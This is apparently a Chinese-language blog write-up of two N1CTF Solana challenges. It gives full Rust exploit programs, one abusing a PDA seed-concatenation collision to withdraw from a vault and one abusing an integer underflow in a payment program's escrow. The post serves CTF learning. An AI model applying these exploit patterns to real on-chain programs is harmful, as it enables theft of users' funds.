默认分类

N1CTF solana 2题 and 后续可能写点学习记录

希望这最好能给我以后如果还做合约的话填上面试的有色彩的一笔。

N1CTF 2题

先贴wp: 感谢@tonycrane学弟教题。
漏洞在于一个declared_id下的程序 导致他在利用一些如字符串的东西作为seed生成账户的时候,他们的字符串内容可能是会拼接的。
['aaaa','bbb']==['aaa','abbb']导致的问题。从而导致vault获取的和初始化的employ_A一致。然后就可以用能通过正常验证的账户通过验证之后就可以随意withdraw了

use anchor_lang::prelude::*;

use anchor_spl::token::{Mint, Token, TokenAccount};

declare_id!("28prS7e14Fsm97GE5ws2YpjxseFNkiA33tB5D3hLZv3t");

#[program]
pub mod solve {
    use super::*;

    pub fn initialize(ctx: Context<Initialize>) -> Result<()> {

        let o1 = String::from("produc");
        let e1 = String::from("temploy_A");

        let cpi_accounts = chall::cpi::accounts::Register {
            catalog: ctx.accounts.catalog.to_account_info(),
            employee_record: ctx.accounts.user_record.to_account_info(),
            user: ctx.accounts.user.to_account_info(),
            system_program: ctx.accounts.system_program.to_account_info(),
            rent: ctx.accounts.rent.to_account_info(),
        };
        let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);
        chall::cpi::register(cpi_ctx, o1, e1)?;

        let o1 = String::from("producte");
        let e1 = String::from("mploy_A");

        let cpi_accounts = chall::cpi::accounts::Withdraw {
            vault: ctx.accounts.vault.to_account_info(),
            employee_record: ctx.accounts.user_record.to_account_info(),
            reserve: ctx.accounts.reserve.to_account_info(),
            user_account: ctx.accounts.user_token_account.to_account_info(),
            mint: ctx.accounts.mint.to_account_info(),
            payer: ctx.accounts.user.to_account_info(),
            token_program: ctx.accounts.token_program.to_account_info(),
            system_program: ctx.accounts.system_program.to_account_info(),
            rent: ctx.accounts.rent.to_account_info(),
        };
        let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);
        chall::cpi::withdraw(cpi_ctx, o1, e1, 10)?;

        // --------------------------------------------
        // your instruction goes here

        Ok(())
    }
}

#[derive(Accounts)]
pub struct Initialize<'info> {
    #[account(mut)]
    pub catalog: AccountInfo<'info>,

    #[account(mut)]
    pub user_record: AccountInfo<'info>,

    #[account(mut)]
    pub vault: AccountInfo<'info>,

    pub mint: Account<'info, Mint>,

    #[account(mut)]
    pub reserve: Account<'info, TokenAccount>,

    #[account(mut)]
    pub user_token_account: Account<'info, TokenAccount>,

    #[account(mut)]
    pub user: Signer<'info>,
    pub token_program: Program<'info, Token>,
    pub system_program: Program<'info, System>,
    pub chall: Program<'info, chall::program::Chall>,
    pub rent: Sysvar<'info, Rent>,
}

同时记得改 main.rs中的那个创建user部分和我们的user一致。

U.p.s

下溢

use borsh::BorshSerialize;

use solana_program::{
    account_info::{next_account_info, AccountInfo},
    entrypoint::ProgramResult,
    instruction::{AccountMeta, Instruction},
    program::invoke,
    pubkey::Pubkey,
    system_program,
};

use utility_payment::ServiceInstruction;

pub fn process_instruction(
    _program: &Pubkey,
    accounts: &[AccountInfo],
    _data: &[u8],
) -> ProgramResult {
    let account_iter = &mut accounts.iter();
    let utility_program = next_account_info(account_iter)?;
    let user = next_account_info(account_iter)?;
    let reserve = next_account_info(account_iter)?;
    let escrow_account = next_account_info(account_iter)?;
    let sys_prog_account = next_account_info(account_iter)?;

    invoke(
        &Instruction {
            program_id: *utility_program.key,
            accounts: vec![
                AccountMeta::new(*user.key, true),
                AccountMeta::new(*reserve.key, false),
                AccountMeta::new(*escrow_account.key, false),
                AccountMeta::new_readonly(system_program::id(), false),
            ],
            data: ServiceInstruction::Init { }
                .try_to_vec()
                .unwrap(),
        },
        &[
            reserve.clone(),
            escrow_account.clone(),
            user.clone(),
            sys_prog_account.clone(),
        ],
    )?;


    invoke(
        &Instruction {
            program_id: *utility_program.key,
            accounts: vec![
                AccountMeta::new(*user.key, true),
                AccountMeta::new(*reserve.key, false),
                AccountMeta::new(*escrow_account.key, false),
                AccountMeta::new_readonly(system_program::id(), false),
            ],
            data: ServiceInstruction::DepositEscrow { amount:10 }
                .try_to_vec()
                .unwrap(),
        },
        &[
            reserve.clone(),
            escrow_account.clone(),
            user.clone(),
            sys_prog_account.clone(),
        ],
    )?;


    invoke(
        &Instruction {
            program_id: *utility_program.key,
            accounts: vec![
                AccountMeta::new(*user.key, true),
                AccountMeta::new(*reserve.key, false),
                AccountMeta::new(*escrow_account.key, false),
                AccountMeta::new_readonly(system_program::id(), false),
            ],
            data: ServiceInstruction::Pay { amount:14 }
                .try_to_vec()
                .unwrap(),
        },
        &[
            reserve.clone(),
            escrow_account.clone(),
            user.clone(),
            sys_prog_account.clone(),
        ],
    )?;

    invoke(
        &Instruction {
            program_id: *utility_program.key,
            accounts: vec![
                AccountMeta::new(*user.key, true),
                AccountMeta::new(*reserve.key, false),
                AccountMeta::new(*escrow_account.key, false),
                AccountMeta::new_readonly(system_program::id(), false),
            ],
            data: ServiceInstruction::WithdrawEscrow { }
                .try_to_vec()
                .unwrap(),
        },
        &[
            reserve.clone(),
            escrow_account.clone(),
            user.clone(),
            sys_prog_account.clone(),
        ],
    )?;

    Ok(())
}

回复

This is just a placeholder img.